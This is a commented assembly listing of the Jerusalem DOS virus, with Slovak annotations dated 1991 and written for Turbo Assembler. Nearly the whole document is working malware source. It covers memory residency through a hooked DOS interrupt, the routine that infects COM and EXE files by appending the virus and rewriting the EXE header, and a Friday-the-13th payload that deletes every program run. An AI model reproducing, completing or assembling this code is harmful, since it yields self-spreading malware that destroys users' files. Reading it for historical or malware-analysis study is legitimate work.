; Komentovany vypis virusu JERUZALEM ; Komentar: Vetor ( 20.6. 1991 ) ; urcene pre Turbo Assembler v2.0
first segment assume cs:first org 100h start: first ends
cseg segment assume cs:cseg,ds:cseg org 0h
jeruzalem proc far
jmp loc_2 ; Skok na zaciatok virusu db 'sUMsDos' w000A dw 100h w000C dw 0CD7h b000E db 00 w000F dw 0000h w0011 dw 0034h pv08 dw 0FEA5h, 0f000h pv21 dw 1460h, 226h pv24 dw 556h, 0B6Fh eff_cou dw 7A22h db 8 dup (0) w0029 dw 0000h w002B label word db 00 w002C label word db 00 w002D dw 0FA00h w002F dw 8F06h w0031 dw 0C52h w0033 dw 0080h db 0, 0, 80h, 0 w0039 dw 0C52h db 5Ch, 0 w003D dw 0C52h db 6Ch, 0 w0041 dw 0C52h SP_old dw 00E6h ; Povodny SP register (len pre *.EXE) SS_old dw 26F1h ; Povodny SS register (len pre *.EXE) IP_old dw 0 ; Zalohovany povodny vstupny bod CS_old dw 0C62h ; pre *.EXE program zal_ff db 0, 0F0h, 6 ; Povodny obsah oblasti 0000:03FCh is_exe db 0
;----------------------------------------------- ; Bufer pre nahratie hlavicky exe suboru
exehdr db 'MZ' ; Identifikacia *.exe suboru partpag dw 00F0h ; Pocet pouzitych bajtov poslednej stranky pagecnt dw 00DCh ; Dlzka suboru v strankach relcnt dw 0108h ; Pocet relokacnych poloziek hdrsize dw 0060h ; Dlzka hlavicky v paragrafoch minmem dw 0000h ; Min. pozadovana pamat za koncom prg. maxmem dw 0FFFFh ; Max. pozadovana pamat za koncom prg. reloSS dw 1A9Eh ; Relativny SS v case spustenia reloSP dw 710h ; Hodnota SP v case spustenia chksum dw 1984h ; Kontrolny sucet reloIP dw 00C5h ; Hodnota IP v case spustenia reloCS dw 1A9Eh ; Relativny CS v case spustenia tabloff dw 0022h ; Offset zaciatku relokacnej tabulky overlay dw 0000h ; Cislo prekrytia (modulu) ;----------------------------------------------- db 30h, 30h, 35h, 0Dh, 0Ah handle dw 0005 ; Popisovac aktualne suboru atrib dw 0020h ; Zalohovany atribut suboru date dw 0021h ; Zalohovany datum suboru time dw 0012h ; Zalohovany cas suboru c0200 dw 0200h c0010 dw 0010h lengt dw 0AFE0h, 0001h ; Dlzka suboru fname dw 41B9h, 9B2Ah ; Smernik na meno spustaneho suboru db 'COMMAND.COM' w008F dw 0001 db 0, 0, 0, 0
loc_2: cld mov ah,0E0h ; Si uz zavedeny v pamati ? int 21h cmp ah,0E0h jae loc_3 ; Nie => chod sa zaviest cmp ah,3 ; Ano => zisti verziu jb loc_3 mov ah,0DDh mov di,100h mov si,710h add si,di db 2Eh, 8Bh, 8Dh, 11h, 0 ; Tieto bajty generuju nasledujucu instr. ;mov cx,cs:[di+0011h] int 21h loc_3: mov ax,cs add ax,10h mov ss,ax mov sp,700h push ax mov ax,0C5h push ax ret cld push es mov cs:[w0031],es mov cs:[w0039],es mov cs:[w003D],es mov cs:[w0041],es mov ax,es add ax,0010h add cs:[CS_old],ax add cs:[SS_old],ax mov ah,0E0h int 21h cmp ah,0E0h jnc lll_1 cmp ah,03 pop es mov ss,cs:[SS_old] mov sp,cs:[SP_old] jmp dword ptr cs:[IP_old] lll_1: xor ax,ax mov es,ax mov ax,es:[03FCh] mov word ptr cs:[zal_ff],ax mov al,es:[03FEh] mov cs:[zal_ff+2],al mov es:[03FCh],0A5F3h mov byte ptr es:[03FEh],0CBh pop ax add ax,10h mov es,ax push cs pop ds mov cx,710h shr cx,1 xor si,si mov di,si push es mov ax,offset lll_2 push ax jmp far ptr x_low lll_2: mov ax,cs mov ss,ax mov sp,700h xor ax,ax mov ds,ax mov ax,word ptr cs:[zal_ff] mov ds:[03FCh],ax mov al,cs:[zal_ff+2] mov ds:[03FEh],al mov bx,sp mov cl,4 shr bx,cl add bx,10h mov cs:[w0033],bx mov ah,4Ah mov es,cs:[w0031] int 21h ; change mem allocation, bx=siz mov ax,3521h int 21h mov cs:[pv21+0],bx mov cs:[pv21+2],es push cs pop ds mov dx,25Bh mov ax,2521h int 21h mov es,ds:[w0031] mov es,es:[w002C] xor di,di mov cx,7FFFh xor al,al locloop_4: repnz scasb cmp es:[di],al loopnz locloop_4 mov dx,di add dx,3 mov ax,4B00h push es pop ds push cs pop es mov bx,35h push ds push es push ax push bx push cx push dx mov ah,2Ah int 21h ; get date, cx=year, dx=mon/day mov cs:[b000E],0 cmp cx,7C3h je loc_6 cmp al,5 jne loc_5 cmp dl,0Dh jne loc_5 inc cs:[b000E] jmp short loc_6 nop loc_5: mov ax,3508h int 21h mov cs:[pv08],bx mov cs:[pv08+2],es push cs pop ds mov ds:[eff_cou],7E90h mov ax,2508h mov dx,21Eh int 21h loc_6: pop dx pop cx pop bx pop ax pop es pop ds pushf call dword ptr cs:[pv21] push ds pop es mov ah,49h int 21h ; release memory block, es=seg mov ah,4Dh int 21h ; get return code info in ax mov ah,31h mov dx,600h mov cl,4 shr dx,cl add dx,10h int 21h ; terminate & stay resident db 32h, 0C0h, 0CFh, 2Eh, 83h, 3Eh db 1Fh, 0, 2, 75h, 17h, 50h db 53h, 51h, 52h, 55h, 0B8h, 2 db 6, 0B7h, 87h, 0B9h, 5, 5 db 0BAh, 10h, 10h, 0CDh, 10h, 5Dh db 5Ah, 59h, 5Bh, 58h, 2Eh, 0FFh db 0Eh, 1Fh, 0, 75h, 12h, 2Eh db 0C7h, 6, 1Fh, 0, 1, 0 db 50h, 51h, 56h, 0B9h, 1, 40h db 0F3h, 0ACh, 5Eh, 59h, 58h, 2Eh db 0FFh, 2Eh, 13h, 0, 9Ch, 80h db 0FCh, 0E0h, 75h, 5, 0B8h, 0 db 3, 9Dh, 0CFh, 80h, 0FCh, 0DDh db 74h, 13h, 80h, 0FCh, 0DEh, 74h db 28h, 3Dh, 0, 4Bh, 75h, 3 db 0E9h, 0B4h, 0 loc_7: popf jmp dword ptr cs:[pv21] loc_8: pop ax pop ax mov ax,100h mov cs:[w000A],ax pop ax mov cs:[w000C],ax rep movsb popf mov ax,cs:[w000F] jmp dword ptr cs:[w000A] loc_9: add sp,6 popf mov ax,cs mov ss,ax mov sp,710h push es push es xor di,di push cs pop es mov cx,10h mov si,bx mov di,21h rep movsb mov ax,ds mov es,ax mul cs:[c0010] add ax,cs:[w002B] adc dx,0 div cs:[c0010] mov ds,ax mov si,dx mov di,dx mov bp,es mov bx,cs:[w002F] or bx,bx jz loc_11 loc_10: mov cx,8000h rep movsw add ax,1000h add bp,1000h mov ds,ax mov es,bp dec bx jnz loc_10 loc_11: mov cx,cs:[w002D] rep movsb pop ax push ax add ax,10h add cs:[w0029],ax data_50 db 2Eh db 1, 6, 25h, 0, 2Eh, 0A1h db 21h, 0, 1Fh, 7, 2Eh, 8Eh db 16h, 29h, 0, 2Eh, 8Bh, 26h db 27h, 0, 2Eh, 0FFh, 2Eh, 23h db 0 loc_12: xor cx,cx mov ax,4301h int 21h ; get/set file attrb, nam@ds:dx mov ah,41h int 21h ; delete file, name @ ds:dx mov ax,4B00h popf jmp dword ptr cs:[pv21] loc_13: cmp cs:[b000E],1 je loc_12 mov cs:[handle],0FFFFh mov cs:[w008F],0 mov cs:[fname+0],dx mov cs:[fname+2],ds push ax push bx push cx push dx push si push di push ds push es cld mov di,dx xor dl,dl cmp byte ptr [di+1],3Ah jne loc_14 mov dl,[di] and dl,1Fh loc_14: mov ah,36h int 21h ; get free space, drive dl,1=a: cmp ax,0FFFFh jne loc_16 loc_15: jmp loc_42 loc_16: mul bx mul cx or dx,dx jnz loc_17 cmp ax,710h jb loc_15 loc_17: mov dx,cs:[fname] push ds pop es xor al,al mov cx,41h repnz scasb mov si,cs:[fname] loc_18: mov al,[si] or al,al jz loc_20 cmp al,61h ; 'a' jb loc_19 cmp al,7Ah ; 'z' ja loc_19 sub byte ptr [si],20h loc_19: inc si jmp short loc_18 loc_20: mov cx,0Bh sub si,cx mov di,84h push cs pop es mov cx,0Bh rep cmpsb jnz loc_21 jmp loc_42 loc_21: mov ax,4300h int 21h ; get/set file attrb, nam@ds:dx jc loc_22 mov cs:[atrib],cx loc_22: jc loc_24 xor al,al mov cs:[is_exe],al push ds pop es mov di,dx mov cx,41h repnz scasb cmp byte ptr [di-2],4Dh ; 'M' je loc_23 cmp byte ptr [di-2],6Dh ; 'm' je loc_23 inc cs:[is_exe] loc_23: mov ax,3D00h int 21h ; open file, al=mode,name@ds:dx loc_24: jc loc_26 mov cs:[handle],ax mov bx,ax mov ax,4202h mov cx,0FFFFh mov dx,0FFFBh int 21h ; move file ptr, cx,dx=offset jc loc_24 add ax,5 mov cs:[w0011],ax mov cx,5 mov dx,6Bh mov ax,cs mov ds,ax mov es,ax mov ah,3Fh int 21h ; read file, cx=bytes, to ds:dx mov di,dx mov si,5 rep cmpsb jnz loc_25 mov ah,3Eh int 21h ; close file, bx=file handle jmp loc_42 loc_25: mov ax,3524h int 21h mov ds:[pv24+0],bx mov ds:[pv24+2],es mov dx,21Bh mov ax,2524h int 21h lds dx,dword ptr ds:[fname] xor cx,cx mov ax,4301h int 21h ;get/set file attrb, nam@ds:dx loc_26: jc loc_27 mov bx,cs:[handle] mov ah,3Eh int 21h ; close file, bx=file handle mov cs:[handle],0FFFFh mov ax,3D02h int 21h ; open file, al=mode,name@ds:dx jc loc_27 mov cs:[handle],ax mov ax,cs mov ds,ax mov es,ax mov bx,ds:[handle] mov ax,5700h int 21h ; get/set file date & time mov ds:[date],dx mov ds:[time],cx mov ax,4200h xor cx,cx mov dx,cx int 21h ; move file ptr, cx,dx=offset loc_27: jc loc_30 cmp ds:[is_exe],0 je loc_28 jmp short loc_32 db 90h loc_28: mov bx,1000h mov ah,48h int 21h ; allocate memory, bx=bytes/16 jnc loc_29 mov ah,3Eh mov bx,ds:[handle] int 21h ; close file, bx=file handle jmp loc_42 loc_29: inc ds:[w008F] mov es,ax xor si,si mov di,si mov cx,710h rep movsb mov dx,di mov cx,ds:[w0011] mov bx,ds:[handle] push es pop ds mov ah,3Fh int 21h ; read file, cx=bytes, to ds:dx loc_30: jc loc_31 add di,cx xor cx,cx mov dx,cx mov ax,4200h int 21h ; move file ptr, cx,dx=offset mov si,5 mov cx,5 db 0F3h, 2Eh, 0A4h, 8Bh, 0CFh, 33h db 0D2h, 0B4h, 40h, 0CDh db 21h loc_31: jc loc_33 jmp loc_40 loc_32: mov cx,1Ch mov dx,4Fh mov ah,3Fh int 21h ; read file, cx=bytes, to ds:dx loc_33: jc loc_35 mov ds:[chksum],1984h mov ax,ds:[reloSS] mov ds:[SS_old],ax mov ax,ds:[reloSP] mov ds:[SP_old],ax mov ax,ds:[reloIP] mov ds:[IP_old],ax mov ax,ds:[reloCS] mov ds:[CS_old],ax mov ax,ds:[pagecnt] cmp ds:[partpag],0 je loc_34 dec ax loc_34: mul ds:[c0200] add ax,ds:[partpag] adc dx,0 add ax,0Fh adc dx,0 and ax,0FFF0h mov ds:[lengt+0],ax mov ds:[lengt+2],dx add ax,710h adc dx,0 loc_35: jc loc_37 div ds:[c0200] or dx,dx jz loc_36 inc ax loc_36: mov ds:[pagecnt],ax mov ds:[partpag],dx mov ax,ds:[lengt+0] mov dx,ds:[lengt+2] div ds:[c0010] sub ax,ds:[hdrsize] mov ds:[reloCS],ax mov ds:[reloIP],0C5h mov ds:[reloSS],ax mov ds:[reloSP],710h xor cx,cx mov dx,cx mov ax,4200h int 21h ; move file ptr, cx,dx=offset loc_37: jc loc_38 mov cx,1Ch mov dx,4Fh mov ah,40h int 21h ; write file cx=bytes, to ds:dx loc_38: jc loc_39 cmp ax,cx jne loc_40 mov dx,ds:[lengt+0] mov cx,ds:[lengt+2] mov ax,4200h int 21h ; move file ptr, cx,dx=offset loc_39: jc loc_40 xor dx,dx mov cx,710h mov ah,40h int 21h ; write file cx=bytes, to ds:dx loc_40: cmp cs:[w008F],0 je loc_41 mov ah,49h int 21h ; release memory block, es=seg loc_41: cmp cs:[handle],0FFFFh je loc_42 mov bx,cs:[handle] mov dx,cs:[date] mov cx,cs:[time] mov ax,5701h int 21h ; get/set file date & time mov ah,3Eh int 21h ; close file, bx=file handle lds dx,dword ptr cs:[fname] mov cx,cs:[atrib] mov ax,4301h int 21h ; get/set file attrb, nam@ds:dx lds dx,dword ptr cs:[pv24] mov ax,2524h int 21h ; set intrpt vector al to ds:dx loc_42: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jmp dword ptr cs:[pv21]
db 11 dup (0) db 4Dh, 6Fh, 0Bh, 0, 10h, 0 db 10 dup (0) db 0E9h, 92h, 0, 73h, 55h, 4Dh db 73h, 44h, 6Fh, 73h, 0, 1 db 0D7h, 0Ch, 0, 0, 0, 34h db 0, 0A5h, 0FEh, 0, 0F0h, 60h db 14h, 26h, 2, 56h, 5, 6Fh db 0Bh, 22h, 7Ah, 0 db 12 dup (0) db 0FAh, 6, 8Fh, 52h, 0Ch, 80h db 0, 0, 0, 80h, 0, 52h db 0Ch, 5Ch, 0, 52h, 0Ch, 6Ch db 0, 52h, 0Ch, 0E6h, 0, 0F1h db 26h, 0, 0, 62h, 0Ch, 0 db 0F0h, 6, 0, 4Dh, 5Ah, 0F0h db 0, 0DCh, 0, 8, 1, 60h db 0, 0, 0, 0FFh, 0FFh, 9Eh db 1Ah, 10h, 7, 84h, 19h, 0C5h db 0, 9Eh, 1Ah, 22h, 0, 0 db 0, 30h, 30h, 35h, 0Dh, 0Ah db 5, 0, 20h, 0, 21h, 0 db 12h, 0, 0, 2, 10h, 0 db 0E0h, 0AFh, 1, 0, 0B9h, 41h db 2Ah, 9Bh db 'COMMAND.COM' db 1, 0, 0, 0, 0, 0 db 0FCh, 0B4h, 0E0h, 0CDh, 21h, 80h db 0FCh, 0E0h, 73h, 16h, 80h, 0FCh db 3, 72h, 11h, 0B4h, 0DDh, 0BFh db 0, 1, 0BEh, 10h, 7, 3 db 0F7h, 2Eh, 8Bh, 8Dh, 11h, 0 db 0CDh db 21h loc_43: mov ax,cs add ax,10h mov ss,ax mov sp,700h push ax mov ax,0C5h push ax ret ; Return far
db 0FCh, 6, 2Eh, 8Ch, 6, 31h db 0, 2Eh, 8Ch, 6, 39h, 0 db 2Eh, 8Ch, 6, 3Dh, 0, 2Eh db 8Ch, 6, 41h, 0, 8Ch, 0C0h db 5, 10h, 0, 2Eh, 1, 6 db 49h, 0, 2Eh, 1, 6, 45h db 0, 0B4h, 0E0h, 0CDh, 21h, 80h db 0FCh, 0E0h, 73h, 13h, 80h, 0FCh db 3, 7, 2Eh, 8Eh, 16h, 45h db 0, 2Eh, 8Bh, 26h, 43h, 0CDh db ' 000000010' db 8 dup (30h) db 32h, 30h db 8 dup (30h) db 33h, 30h db 8 dup (30h) db 34h, 30h db 8 dup (30h) db '5', 0Dh, 0Ah, 'MsDos' jeruzalem endp cseg ends
ram_low segment at 0000 assume cs:ram_low org 3FCh
x_low proc far rep movsw ret x_low endp
ram_low ends
end start
-----------------------------------------------------------------------------